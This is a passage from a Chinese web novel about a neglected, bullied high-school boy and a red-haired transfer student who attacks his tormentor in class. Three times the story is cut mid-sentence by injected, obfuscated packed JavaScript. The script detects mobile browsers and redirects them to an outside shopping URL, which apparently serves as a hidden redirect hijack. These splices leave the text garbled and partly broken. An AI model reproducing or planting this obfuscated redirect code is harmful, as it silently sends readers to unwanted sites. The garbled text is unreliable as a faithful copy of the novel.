安庭浑身一震,被拉回过神来。他脑子就有些发白,迟缓地摸了一番身上的兜,最后,他才从上衣口袋里拿出了手机。 是个早被时代淘汰的老人机。 “喂。” “干什么呢你,接电话这么慢?”电话里的女声很不耐烦,“一天天的,你能不能动作麻利点?不知道家里多困难吗?” 安庭没吭声。 “问你话呢!”女人烦躁地骂了他两句,又愤愤道,“算了!跟你说话就来气,也不知道你到底随谁。你哥出院了,你把家里窗户都打开,通通风。” “把家里病毒都放一放,你前两天不是又发烧了吗。别传染给你哥,赶紧开窗透透气。然后去买点酸梨,在家炖个梨汤,给你哥喝点热乎的。听到没有?” “嗯。” “嗯什么嗯,说话啊,听到还是没听到!” “听到了。”安庭声音很低。 “跟你说话真费劲。”女人嘟嘟囔囔地骂了几句烦人,“你发烧好了没有?昨天下雨浇到了没?” “浇了,”安庭说,“伞被抢了。” “那你就去杂物间睡觉。”女人说,“我两点半回去,你等我电话。到时候,你下来把东西拎回家,就去杂物间呆着吧,有事没事儿都别出来。你哥刚出院,医生说了,回家要做好防护,你别碰他。” “哦。” 一个“哦”字,不知怎么又刺激到她了。女人又激动地骂他几句,才把电话挂掉。 安庭把老人机塞回兜里,拉开门,进了家。年久失修的铁门一动就吱吱呀呀,关上的时候也发出了很大声响。 屋子里东西少得可怜,拖鞋都只有三双,是按着家里人数买的。一个老吊灯孤零零地挂在天花板上,没有任何装饰,只是个破灯壳子,壳子里简洁地挂着个灯泡。 墙上的墙皮已经掉了一大半,地上的电线亦是连得乱七八糟,茶几也好沙发也好,都又破又发霉。 这些年,为了治他哥得的白血病,家里都没剩什么东西了。 安庭脱了鞋,拖着沉闷的步子,把调味料放到厨房里,打开家中所有的窗户,转头又出了门,去超市买了酸梨。 又回了家,在厨房炖好了梨汤,他哥也出院回来了。 安庭下楼去接。 家里的那辆桑塔纳小破车,已经停在了单元门口。 他哥坐在后排,是一副和安庭只有三四分像的枯瘦模样。他十分的虚弱,靠坐在车座上,脸上毫无血色,像个骷髅似的皮包骨头,瘦得脸上颧骨都凸起来了。 安庭一走过去,他哥抬头,看见他,就朝他扯扯嘴角,病恹恹地笑了。 他妈张霞正坐在他身边,担忧地拉着他瘦如枯槁的手。 他哥笑了,张霞才转头看过来。看见是安庭,她那原本担忧而温柔的眼睛,立刻变得万分厌烦,厌恶地把眼睛撇开了。 安庭伸手搓搓自己的后脖颈,不以为意。 主驾驶的车门开了。 一个尖嘴猴腮的瘦削男人,从车上走了下来。他满下巴的胡茬,穿得十分朴素,宽松的裤子就那么半挂在腰上,一身衣服穿的活像个逃荒的,上身和腿五五开,挺滑稽。 是他爸,安海刚。 太阳正当空,正面照在所有人脸上,安海刚也被刺得眯了眯眼。 瞥了安庭一眼,他就朝着后备箱走了过去。 “拿上去,放好就去杂物间,别出来。” 他爸把后备箱的东西拿了出来。两个盆,一个大包,还有其他杂七杂八一些东西。 安庭走过去,伸出手。 安海刚正把后备箱的东西往地上丢。 一看安庭在伸手,安海刚面露不善:“什么意思,不能干活了?” “弯不了腰。”安庭淡淡说,“我也两个多月前才出医院,骨髓穿的刺才好没多久。” 安海刚被他一句话怼的说不出话来。 他撇撇嘴,低低骂了句“矫情玩意儿”,弯下腰去,把地上的东西拿起来,塞进他手里。 安庭转身就往楼上走。 来来回回搬了两趟,东西就差不多了。 最后还剩下个盆和折叠床,安庭下来了最后一趟。从安海刚手里拿过东西时,他忽然感觉到什么,走到单元门口时,鬼使神差地停下了脚步,回头望向对面的楼。 在对面楼的三层左边窗口,他看见一个眼熟的红毛脑袋。 那人就站在窗台边上,目光如炬地盯着他。 “……” 安庭抽了抽眼角。 他都看见他了,那红毛却丝毫不以为意。不但不以为意,红毛还大大方方地往窗台上一趴,直接赖那儿不走了。 他一副“我就看你了怎么地吧”的地痞流氓样儿。 安庭无话可说了,他叹了口气,转身拿着两个盆和折叠床,上楼去了。 回到家里,他把东西放好,就走到屋子深处,打开杂物间的那扇木门,吱吱呀呀地进去了。 砰的一声,门关上。 不一会儿,家的房门开了。窸窸窣窣的声音开始响起,他的家人进了门。 父母慈爱而关心的声音,也开始响。 “看着点,别摔了。” “拖鞋在这儿呢,先穿上,地上凉,还没开始供暖。晚上吃什么?妈去给你做。” “先喝点梨汤吧,都在锅里熬好了。” “喝完了,你就去晒晒太阳。医生说了,多晒太阳好。” 张霞和老安忙忙叨叨,时不时和他哥轻笑几声。 安庭的后腰忽然又开始痛。 他背靠在阴冷的杂物间里,面前是一大堆早已用不上的杂物,角落里有张简易得过了头的破床褥。灰尘在空气里飘荡着,安庭叹了一声,脱下了身上外套。 他把衣服往脑袋上一盖,靠在门上,闭上了眼。 国庆前的最后一个周末,毫无疑问地又被调休,只放了周六一天。 第二天一大早,安庭起床上学。才六点多钟,家里一片安静,还没人起床。 他从杂物间里走出来,拿上校服外套,带上一把零钱,静悄悄地出了门。 秋天的六点钟,天亮的还算早。太阳已经升起一些,是血红的朝阳。 路上没什么人,小区楼下乱糟糟的。垃圾桶边上堆满了没扔进去的垃圾,一排自行车、电动车,乌泱泱地挤满了大半边路。也不知是谁在空地上拉了根晾衣线,一大片的衣服和床单挂在上面,大清早的就迎风飘扬。 安庭单肩挎着书包,一走到小区门口,沉默了。 红毛就站在门口。他靠在 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16872671|191851||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 门卫室的门边上,两手插兜,叠着双腿,戴着个潮流黑墨镜,像个收保护费的地痞。 安庭停在原地,脑子里冒过去一串省略号,开始思考要不要掉头去翻北门的墙。 北门有点远。 他最近腰也很痛。 但是北门没有红毛。 思考到此处,安庭转身就走。 还没走出去两步,红毛就叫了他一声:“干嘛去?” 安庭抬脚就往北门走,毫不留恋。 还没走出去几步,红毛就跑了过来。这人跑得挺快,几十米的距离,没几秒就赶上来了,还在安庭身边蹦跶两下,跑到了他跟前:“你去哪儿啊,不上学吗?” 安庭停下来了。 他仰望天空,深吸一口气,绝望地闭上双眼。 “你想干什么。”安庭声音沙哑,带着几分求饶。 “我没想干什么啊,我想跟你走嘛。”陆灼颂说,“你去哪儿?那边是近路吗?” “你跟着我干什么……” “我也去三中啊。”陆灼颂把双手往自己脑后一放,一脸悠哉,“我要去办转学手续,我妈让我过去见见老师。” 安庭睁开半只眼睛,往他身上一瞥。 红毛穿着一件黑底卫衣,胸口上是血溅一般的爆裂印花;他两只袖子撸起,手上各穿着个露出五指的手腕袖;腿上一件破洞牛仔裤,腰带扎得乱七八糟极具艺术感,还丁零当啷挂着一堆银链子。 安庭又看看他耳朵上。 那两个耳朵也挂了一堆滴里嘟噜的耳钉耳坠,十分精彩。 沉默几秒,安庭问他:“你就这么去见老师?” 红毛眨巴眨巴那双清亮的蓝眼睛,低头看看自己身上,又抬头,再次无辜地朝他眨巴几下眼:“不都这么穿吗?” “……你以前在学校就这么穿的。” “对啊。” “你哪个学校的?” “我美——……” 红毛张嘴正要说,突然卡了壳。他张着嘴僵了几秒,缓缓收起扬着的脑袋,低着头,把手往裤子上讪讪蹭了两下:“没——上过什么好学校,咳。” 安庭:“所以你哪个学校的。” “伯城七中。” 没听过。 “换身衣服再说吧。”安庭转身就走。 “没事的!我就这么跟你去嘛!”红毛又跑着跟上他,在他旁边咋咋呼呼地叫,“我哪儿不行?你说!我都给脱了还不行吗!你不喜欢的我都脱了!” “不是我喜不喜欢的问题,好吗,是老师喜不喜欢的问题。”安庭说,“再说你怎么脱,你难不成要在大街上脱衣服吗。” “也可以的!” 神经病吧。 安庭的太阳穴开始突突跳,他被吵得脑仁疼。 他揉了两下脑袋,刚想再说什么,旁边突然有人喊了声“二少”。 很大声,很用力。 喊完一声,还又喊一声:“二少——” 红毛突然就炸了:“靠!” 安庭:“?” 安庭转头一看,看见一个朗目疏眉的清秀少年朝着他们这边跑了过来,背上背着个包,沐浴着朝阳,满面笑容,发丝和衣角都在金风里飘摇,相当青春的画面。 安庭又看向红毛。 红毛不知道怎么了,居然吓得冲那少年连比划带尖叫,还呜啊啊啊地叫个不停,像活见鬼了。 他背对着安庭,安庭看不见他什么表情,但那清秀少年显然是愣住了。片刻后,少年看了眼安庭,好像才明白什么,恍然大悟似的改口:“哦哦,老大!” 安庭:“……” 俩傻.逼。 虽然不知道怎么回事,但真是俩傻.逼。 14.转学 安庭翻了个白眼,走了。 “庭哥!”红毛又喊他,“不是,安庭!” 红毛再次大呼小叫地追上他。 安庭懒得理,自顾自地往前走。但红毛又跑到他前面去,还叽里咕噜地从挎着的包里拿出一个袋子,塞给他说:“你没吃早饭,这个拿着。” 安庭一顿。 被塞进手里的袋子热乎乎的,是三个大肉包子。 很久没碰到什么热乎东西了,安庭脑子有点发懵。他愣愣望着手里的纸袋子,手心里渐渐被烫得发紧。 他抬起头,看向红毛,和他坦然的双眼四目相对。 安庭喉结微动,却发不出声音,喉咙里像堵了块什么东西。片刻,他紧咬住唇,眉眼一垂,将包子用力塞回到红毛手里,声音发硬:“我吃过了。” 红毛讶异:“吃了?吃的什么?” “关你什么事,拿走。” 红毛狐疑地盯着他,显然不太信。 安庭当没看见,把书包的肩带往上一拉,转身,头也不回地往小区门口走去。 红毛却是个死缠烂打的小混账,居然又跟上来了,还问他:“昨天你没在卧室睡吗?我就看见一个骷髅躺过去了。靠北,我是为了看你才住那破地方的,不是为了看鬼片。你去哪了?” 这话说得有点莫名其妙,安庭一头雾水地寻摸了会儿,记得自己家里好像没有骷髅的人体模型。 一转念,他才忽然想起,昨天他人在杂物间,而厨房旁的南卧里,只有刚出院的那位白血病亲哥在。 红毛是在骂他哥那个病秧子是骷髅。 和鬼片。 ……他怎么这么骂人,骂的真脏。 安庭撇头,就看见红毛很不爽地摆着脸,眼里亮亮地烧着两团怒火——安庭更一头雾水了,不懂他为什么生气。 这人太怪了。安庭又想。 “别那么说我哥。”他说。 红毛不说话了,脚步慢了下来。 往前走了一阵,红毛都再没吭声,也没再跟来身边。安庭又有点不习惯他的安静,回头看了一眼,就见他还是没离开,依然亦步亦趋地跟在自己身后,只是跟他保持了一段距离,并且又用那种好像在看死人似的眼睛看他。 不甘又心疼的那种。 安庭站在那眼神面前,诡异地感觉自己已经成了个音容宛在的遗像。 ……他有病吧。 安庭把脑袋扭了回去。 半个小时后,到了三中门口。 正是登校的时候,校门口熙熙攘攘的全是学生,和送学生来的家长。 大片大片的人正在乌泱泱地进学校去。安庭跟着人流进了学校,往前走了一阵,再回头,身后就没了红毛的身影。 大约是被人群冲散了。 安庭停在原地,滞了片刻,转头望向高大的教学楼,面色忽然变得有些沉重。 叹了口气后,他抬起脚步,走进了教学楼门口。 拖着沉重的步伐,他上了三楼。 走廊里光尘漂浮,学生们三三两两地赶去教室,脚步噔噔地响。离早自习还早,大多人都脚步轻盈,并不着急,还和旁人闲聊着玩笑话。 安庭不声不响,过于瘦的身形夹在一群活蹦乱跳的同龄人里,像把早死了的枯木,憔悴得格格不入。 旁边路过的俩男生也不知说了什么,安庭也没细听。只是从他身边一过去,那俩人突然就爆发了一阵大笑,还互相推搡着锤了两下肩膀。 安庭揉揉耳朵,转头一看,那俩男生勾肩搭背地往隔壁班去了。 他阴沉地捏捏耳骨,浑身上下散发着低气压,闷闷不乐地走到了高一(一)班的门口。 教室里已经来了几个人,站在门外,都能听见里面有聊天声。 安庭拉开门。 他一走进去,教室里的声音立马戛然而止。 安庭没去看同班同学的僵硬神色,也没去看羊毛卷满怀恶意的笑脸。他转头一瞧,果不其然,自己的桌椅已经没了,地面上洒满了散发着臭味的垃圾。 “哎哟,你座位哪儿去了?”羊毛卷揶揄着说,“闹鬼了啊亲爱的,座位没了!” “你干脆坐那堆玩意儿上头上课吧,挺适合你的。”旁边一个矮矮胖胖的狗腿也说。 “那可是浩哥特意给你找的新鲜东西,里面还有早饭呢!”另一个高高瘦瘦的狗腿一噘嘴,一脸羡慕,“浩哥真爱你,好羡慕哦!” 仨人哄堂大笑。 安庭看了眼那些垃圾。里头有两个卷饼的残羹,以及被踩爆的两三个杯装豆浆。黏糊的液体洒了一地,泡着草稿纸和铅笔碎屑。 大约是卷毛在教室里吃完早饭后,带着那俩人,随手扔在上面的。 安庭一句话没说,他仰头看了眼羊毛卷,忽然朝他弯起眼,柔和一笑。 接着,他挎着书包,转头又走了。 ------------------------------ “你是明天就来上课,还是等十月一的小长假过去再说?” “明天吧。” 陆灼颂毫不犹豫地就下了决定。 教师办公室里,一个慈眉善目的胖乎小老头坐在他面前,拿起茶缸,往里头吹了一大口气,点了点头,没说啥。 这是陆灼颂的新班主任,高一(一)班的小老头,教整个年级的语文。 陆灼颂刚去见过了教导主任,教导主任也按着他的意愿,把他分去了高一(一)班,随即就把他带到了教师办公室里,交给了班主任。 “明天上学前,头发给我染回去。”小老头指了两下他一脑袋的红毛,“耳坠摘了,怎么想的,敢戴着来学校。” 陆灼颂抽抽嘴角,“哦”了声,伸手把耳朵上的东西一个一个摘了下去。 陈诀在他旁边干笑两声,也伸手,开始把耳朵上的东西往下卸。 “还有……” 小老头正要继续说,办公室的门被敲了两下。 小老头止住话头:“进。” 门被推开了。安庭面色阴郁地走了进来,一张脸沉的像块要碎的玻璃。不知怎么,他的头发乱了,乱糟糟地斜挡着眉眼。 陆灼颂一怔,看见安庭的眉头又皱起来了,眉间蹙得很深很深。 安庭张了张嘴。可一看见陆灼颂,他也骤然一僵,张着嘴停在了那里。 俩人四目相对,空气僵了几秒。 “干啥。” 小老头打断了发僵的空气,“两两相望啥呢,演言情重逢戏啊?你不上早读,来干嘛?” 安庭回过神来。 他看了陆灼颂一眼,和小老头说:“座位。” 小老头刚喝了口热茶。 俩字儿一出,小老头手上一顿:“没了还是脏了?” “都有。”安庭说,“地上脏了。” 小老头一脸愁苦:“找到了没?” “回 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16878348|191851||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 不来了,在垃圾站。” 小老头的脸色更愁苦了,挥挥手说:“去搬个新的吧,我给他们打个招呼。” 安庭点点头,关上门,走了。 陆灼颂转头问:“他座位怎么了?” 小老头瞥了他一眼:“问题那么多?” “问问都不行?” “不行!”小老头强硬地说,“怎么跟老师说话的!尊敬一点啊我告诉你!校服和书都拿好,回去吧!明天来上课!” 陆灼颂抽抽嘴角。 小老头不说,他也没招了,只能拿上东西先回去。 他去了理发店,憋屈地把头发染了黑色。出来后,时间已经下午,他把东西往家里一放,又去校门口等安庭。 这回却怎么都没等到人。学校门口人都走完了,陆灼颂也没看见他。 天都已经黑的没边了,陆灼颂只能自己先回家。 可安庭也还没回家,陆灼颂一到自己屋里,往他家中一看,只看见他爸妈和他哥在卧室和厨房里。他趴在阳台上等了好久,等到晚上八点多,安庭才出现在小区里的回家路上。 他不知道又遭了什么,低着脑袋慢慢地走,脸上又多了几道破皮的伤,僵硬的像个行尸走肉。 陆灼颂看得直皱眉,心里疼得要渗血。 第二天一早,他挎着书包,带着陈诀,迫不及待地跑去学校。 时间卡的正好,他去班主任那儿报了到,又受了点嘱咐,早读的铃就响了。 小老头带着他俩,进了班。 教室里挺安静,所有人都落了座。 光尘在空气里飘飘忽忽,陆灼颂一走进去,教室里又突然哗地一声,窸窸窣窣地掀起一波惊呼和交谈。 陆灼颂没细听,也不在意这些。他放眼扫去,在靠墙的角落里,看见了安庭。 他缩在座位上,只占了一点儿位置,就那么隔着几乎一整个教室,遥遥地望着他。 他旁边,居然坐着那个羊毛卷。 羊毛卷很显然搞了那种蛮不讲理的三八线,一个人大咧咧地趴在桌子上,一口气把两张桌子占了足足四分之三。他面带着笑,正弯着眼睛,不怀好意地把陆灼颂上上下下地来回打量。 大半地方被霸占,安庭也只能在旁边缩着。这人骨架大,肩宽腿长的,再瘦也是这个身形,往那儿一缩,瞧着可怜巴巴。 陆灼颂看得一眯眼,低低骂了声操。 “你坐那儿吧。”班主任往教室中间一指,第四排的地方,有两个空桌子,“昨天给你搬来的。” 陆灼颂瞥了眼小老头,没做声,只转身,在黑板上龙飞凤舞地写下自己的名字,然后摁着粉笔,在黑板上划出一道长长的、刺耳的声音。 所有同学都被刺耳得呜哇大叫。 一群人捂住耳朵,被呲得眼泪都飚出来了。 “不是!”第一排的一个男生大叫,“你干什么啊你——诶?” 他话都没说完,陆灼颂已经从讲台上了跳了下来。他目不斜视地路过空桌,直接走到了最后一排去,边走边把自己袖子撸了起来。 他一把抓住羊毛卷的椅子。 卷毛还正趴在桌子上,同样被刺耳得捂着耳朵,眼角都挂着泪。 下一秒,椅子腿儿被陆灼颂灵敏地一绊,他连人带椅子被翻了个个儿,又遭一甩,整个人就从椅子上飞了起来。 人还在空中没落地,陆灼颂就一脚狠狠踹在他后背上,将人踢飞了。 15.少爷 卷毛被踹飞出去了。 他后背上被一脚印上了个鞋印,往前四仰八叉地扑着倒了下去,摔了个狗啃泥,像个青蛙似的趴到了地上,重重一声巨响。 全班鸦雀无声。 几声惊叫后,所有人都震惊地定在原地,全都吓懵了。一个个眼睛瞪得像铜铃,嘴巴张得能塞个乒乓球。 陈诀站在讲台上,亦是惊得脑子都死机了,一对琥珀色的瞳孔吓得缩成豆丁那么大点。 他在干嘛? 诶?为什么突然动手打人? 啊?二少看那人很不爽吗? 二少不是这么不讲道理的人啊? 动手怎么不提前打个信号?话说为什么动手?? 正纳闷时,陈诀回过神来,忽然发觉周围气氛不对。 气氛诡异。 陈诀往台下一看,就见这些学生一个个面如菜色,瞳孔地震,就像被混凝土灌了整张脸似的,震惊的不太寻常,一个个像活见鬼。 陈诀心下冒了个问号,转头一看老师,就见这个胖乎小老头竟然也是同样。 气氛有些诡异。 超越了震惊,整个班级似乎是在恐惧,甚至连班主任都在恐惧。 “二——不是,老大……” 陈诀走下讲台去,朝着陆灼颂伸出手,刚想说些什么,突然,群众之中有人拍案而起:“浩哥!!” 陈诀吓得一激灵,爪子往回一缩。 拍案而起的是个矮胖如红烧狮子头的小黑胖子,坐在靠墙那排的里面。他直接从座位上挤了出来,把坐在过道边上的同桌女生往前一压,看着就很痛。 他急急忙忙地朝着卷毛奔过去,把他从地上扶起来:“浩哥,你没事儿吧!” 说话间,又有一个人啪地拍案而起。陈诀循声看去,那是个瘦成个竹节虫的大高个男生,长了个令人残念的大马脸,五官分布的像按了随机的捏脸软件,眼睛太高鼻子太长,像老骥成精。 他也喊着浩哥,冲了过去,俩人一块儿把那卷毛从地上扶起来。 陆灼颂朝着那卷毛冷笑一声:“你——……” 突然,他被人从后往外狠狠一推。 陆灼颂猝不及防地往旁边一歪,撞到了桌子角上。 再一抬头,他看见安庭跑了出去。 陆灼颂一怔。 安庭跑去卷毛身边,手忙脚乱地将他扶起来,眼里水光闪烁,声音都担心得发抖。 “没事吧?”他问卷毛,“哪儿疼没有?” 陆灼颂愣在原地。 他怔怔望着眼前的一切——安庭把那卷毛扶着,轻声细语地关心他,小心翼翼地给他拍掉身上的灰。他抱着卷毛的胳膊,又转头愠怒地瞪向自己,憔悴的眼中怒火中烧。 “你有病吗?”安庭语气不善,“你突然打人干什么!” 陆灼颂张了张嘴,一点声音都发不出来。 他望着安庭那双厌恶地看来的眼睛,那双像看仇人似的看着他的眼睛,脑子里一下子全白了。他站在原地,怔怔地无所适从。 怎么这么看我。 他望着安庭,说不出话,胸口像被捅了一刀,嘴巴里蔓延上铁锈一般的苦味儿,只有心底里还在零星冒着几句喃喃。 怎么这么看我。 不对啊,你怎么这么看我。 你从来没这么看过我。 安庭把卷毛的胳膊抱紧,拉着他往远处走了几步。他又皱起眉来了,眼睛里对陆灼颂的嫌恶越来越重。 陆灼颂正发愣,讲台上突然咚一声巨响。 “陆灼颂!”小老头咆哮起来,“滚出去站着!” * 教师办公室。 “你想干什么?你到底想干什么!” 小老头面红耳赤,气得直拍桌子,桌子上的茶缸都被他砸得起飞了好几下,“转学第一天,你就给我闹这种事!上来就打人!?人家郑玉浩招你惹你了!” 陆灼颂靠着墙,盯着天花板上挂着的白灯,呼地朝着自己刘海吹了口气,没吭声。 “你打谁不好,你还偏偏打郑玉浩!”老头说,“打人都不会挑人,你脑子有问题吧!” 陆灼颂心不在焉:“谁打人还挑人啊。” “怎么就不挑了!?”老头气得又把桌子一砸,“打普通人跟打了校长,那能一样吗!” “他是校长吗?” “你真当他不是吗!” 老头啪地站了起来,朝着他几步走了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16881146|191851||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 过去。到了陆灼颂跟前,他就咬着牙,压低声音,指着外头说,“你以为安庭昨天过来说座位没了,我为什么没问怎么回事,他为什么一点儿脾气都没有?” “郑玉浩是新城金融公司大老板的儿子,教育局的局长是他家亲戚!校长见着他,都得跟他打招呼!你有几条命啊,家里多大权势,敢打他!?” 陆灼颂面无表情地跟他对视:“不知道啊,我家里多大权势。” 数不过来。 算权势面积也算不出来,太大了。 “你少给我扯皮了,我告诉你,幸亏这次打的不严重,你赶紧去给人家鞠个躬道个歉!”小老头指着外头,“今天别上课了,滚回去思过!” “惹都惹了,我滚回去有什么用?”陆灼颂说,“再说我为什么道歉,我又没做错。” “什么!?” “安庭都被他挤成什么样了,你没看见吗?我……” “我怎么没看见了,我一直都看得清清楚楚的!”小老头说,“那又怎么了,有办法吗!?” “他一个不满意,动动手指我就得免职回家,几十年全白干了,退休金都没有!到时候换个老师来,还是一样!没伺候好他就滚回去,人家有权力啊,你懂个屁!” 小老头眼圈红了,声音嘶哑,又往他跟前走几步,“谁不想帮安庭?谁都想!主任也想校长也想,可帮得了吗!?那是个大少爷,是个太子爷!” “我人微言轻,你也是!他们有钱有权的,说话才算话!” 陆灼颂仰头看着他。 小老头眼睛痛红,呼吸粗重。 陆灼颂朝他一笑:“他这就太子爷了?” 小老头一愣:“?” “我惹都惹了,你也不用管我。”陆灼颂毫不在意,“到时候,如果他想叫我滚蛋,你就听他的话咯。” 说完,陆灼颂一侧身,弯着上半身,直接从小老头面前呲溜一下,溜出去了。 “拜拜老师!” 他一溜小跑到门口,回过头朝小老头阳光灿烂地笑着打了个招呼,就从门前跑走了。 办公室的门关上了。小老头还站在墙边,呼哧呼哧喘了几口粗气,还是气不过,又朝着空气狠狠打了一拳。 16.斯德哥尔摩 走出办公室,迎面吹来一阵秋风。 是走廊上的窗户没关。秋风卷着几枚落叶,寂寥地从窗户缝里挤进来,斜斜歪歪地飞进了走廊里。 前发被吹得翻飞,陆灼颂突然有点想抽烟。于是伸手往裤兜里一摸,摸了个空后,他才后知后觉地想起来,这会儿他才十六岁。 不但不能抽烟,还不能买烟。 陆灼颂放下手,烦闷地哼唧了声。 “怎么说,老大?” 旁边传来声音,陆灼颂转头一看,陈诀坐在办公室门旁边,正仰着头望着他,一双圆眼亮晶晶的。 “回教室还是回家?”陈诀问他。 “回教室。”陆灼颂说,“你不在教室里,在这儿干什么?” “找你啊,我去哪儿都跟着你。”陈诀从地上站起来,拍拍裤子上的灰,“开个破金融公司就把自己当太子了,真服了,身价还没我一半高。” “你听见了啊。” “就隔着道墙,”陈诀指指旁边墙上的白砖,“再说,我耳朵很好。” 陆灼颂笑了声,点点头,伸手拍拍他的肩膀,抬手把他一搂,跟他勾肩搭背地回了教室去。 刚下早读课,正在下课期间,教室里窸窸窣窣的有些声音,不少人都在聊天。 可陆灼颂推门一进去,立马鸦雀无声。 所有人都望了他几眼,目光各异。 有人惊恐,有人发怵,有人同情,有人不解。 陆灼颂视若无睹,搂着陈诀,走到了自己的座位上。 他最后还是坐到了教室中间第四排的地方,和陈诀一起。 陈诀已经把他的书包放好,陆灼颂一坐下,他就开始帮陆灼颂把书本纸笔都往桌子上摆,摆得整整齐齐。 陆灼颂又回头望向安庭。 安庭还缩在那个座位上,他侧着身,手托着腮,面无表情地盯着旁边那一片大白墙,一眼都没看他。 他旁边的卷毛也仍然是那样,欺男霸女地伸着双臂,嚣张地摊了一大半桌子,正在和那两个跟班聊天,笑得嘻嘻哈哈。 陆灼颂往他那儿一看,卷毛似有所感地一抬头,便和他四目相对。 卷毛脸上忽的就没了笑意。 他扭过头,一托腮,目光挑衅地直直看向他,伸出两根指头,指了指自己后,就伸出去往他脸上一戳,还挑了挑眉。 这是让他等着。 意思是他盯上他了。 陆灼颂眯起眼,扭回了头。 这位三中太子爷的身份确实厉害。一整天下来,全班没有一个人敢接近陆灼颂。 倒是经常有人向他投来同情的无声视线。 熬到下午放学,陆灼颂坐在座位上等了一会儿。等到安庭也起身走了,他才带着陈诀跟着起身,跟了出去。 安庭是跟卷毛一起走的,陆灼颂跟在这一行人身后。 放学时间,夕阳西下。落日余晖里,所有的影子都被拉长了很长一段。 学校门口又是人挤人,熙熙攘攘的像菜市场。秋风萧瑟地吹,比早上更冷一些,把人的刘海吹得乱飞。 四面八方全是人,呜呜喳喳的全是说话声。陆灼颂被吵得不行,也被挤得有点难受。明明还没出道,他却又体会到了被记者围得水泄不通的那个滋味儿,就差一群摄像机怼到脸上开始不停地噼里啪啦打闪光灯了。 国内学校就是这点不好,上学放学都跟囚犯放风似的,一窝蜂的全都往校门口涌。 陆灼颂踮了几下脚,往前面看。 不知不觉间,他和安庭之间已经多出了一些学生,就这么被人群分开了一段距离。 也没把人跟丢,多了这么些人给他一隔,安庭也很难发现他了,陆灼颂就没太在意。 他揉揉脖子,身上真是腰酸背痛。 估计是现在的身体的问题。十六岁这会儿,他之前过的可是老美高中十点上学三点放学的神仙日子,像今天这样一坐就是八九个小时的生活,还是第一天。 能习惯才怪,腰酸背痛才正常。 安庭还在被卷毛搂着脖子往前走。卷毛只顾着自己,根本不顾安庭,陆灼颂看见他被拽得踉踉跄跄。 “你还跟着他啊,老大。”陈诀走在他身边,叹着气说,“人家根本就不领情,你瞧瞧早上给你那一顿骂的。话说他到底谁?你不会来新城,就是来见他的吧?” “我心里有数。”陆灼颂只说。 “就算你这么说……” 陈诀为难地干笑,刚要再说,突然,人群之中伸出一只手,啪地一下,往他手上一抓。 “?” 又啪一下。 陆灼颂一低头,就看见一只干净白皙的男生的手,扣在了自己胳膊上。他一转头,就见陈诀胳膊上也多出一只一模一样的手来。 还没反应过来,下一秒,他和陈诀都被这只手往右边一拽。 “哎!!”陆灼颂大叫,“谁啊!我操!人贩子!!” “贩你大爷!” 一个人把他拽了出来。 陆灼颂被拽出往校门口去的放学大流,跌跌撞撞地跑到了旁边的一条小路上。他抬头一看,看见一张熟悉的脸。 是他们班的人,陆灼颂记得他,他是坐在第一排的一个文静男生。挺白,小帅,脸蛋溜圆,留了一头妹妹头似的三七侧分,左眼底下一颗泪痣,戴着方框眼镜,长得老实巴交,看着就是个很听话的尖子生。 也是今天陆灼颂拿着粉笔制造噪音时,第一个朝他喊“你干什么啊你”的哥们。 哥们松了口气,也松开了手,抬手抹了抹脸上的冷汗。 “还敢从门口走?”他对陆灼颂说,“郑玉浩肯定带着人在门口埋你,你还往那儿去,真是傻.卵。” 陆灼颂直起身:“要埋就埋,好像我打不过他一样。” “你还敢打,班主任没告诉你他是谁吗!” “我知道,大少爷嘛。”陆灼颂把他上下打量一番,“你又哪位?” “李远驰,咱们班班长。” 李远驰拿食指点了点自己的胸口,简单地介绍了一句,又一脸遗憾地说,“估计过两天就不是你的班长了。惹了郑玉浩,恐怕过不了几天,你就要被学校以左脚先进校门之类的奇葩理由退学了。” “哇,”陆灼颂面无表情地感叹,“这么大权力,我好害怕。” “……我怎么一点儿看不出来你害怕。” “哪儿能呢,草民瑟瑟发抖。” 陆灼颂抬起手,往额头上一挡。这条小路面朝夕阳,阳光直朝脸上洒,实在太刺眼。 小陆同学挡住眼睛,又半眯起一只湛蓝的眼,像没睡醒似的:“你拽我,就是为了告诉我他在门口等我?” “算是吧,多少我算是班长,不能见死不救。” 李远驰一撸头发,往身后那条小路上一指,“走到最里面,翻了墙,右转就是十字路口,那块儿正好没有摄像头。你绕点远路吧,过个马路,从对面走。” “郑玉浩要是埋你,可不是自己一个人埋,也不是带上那两个小弟。学校里不少高年级的混子都跟他关系不错,领个红包,就会帮他揍人。” “很可怕的喔,安庭都不知道被打过多少次了。” 陆灼颂本在很无所谓地听着。 直到李远驰轻飘飘地放下这一句话,陆灼颂骤然一缩瞳孔,伸手就把他一拽。 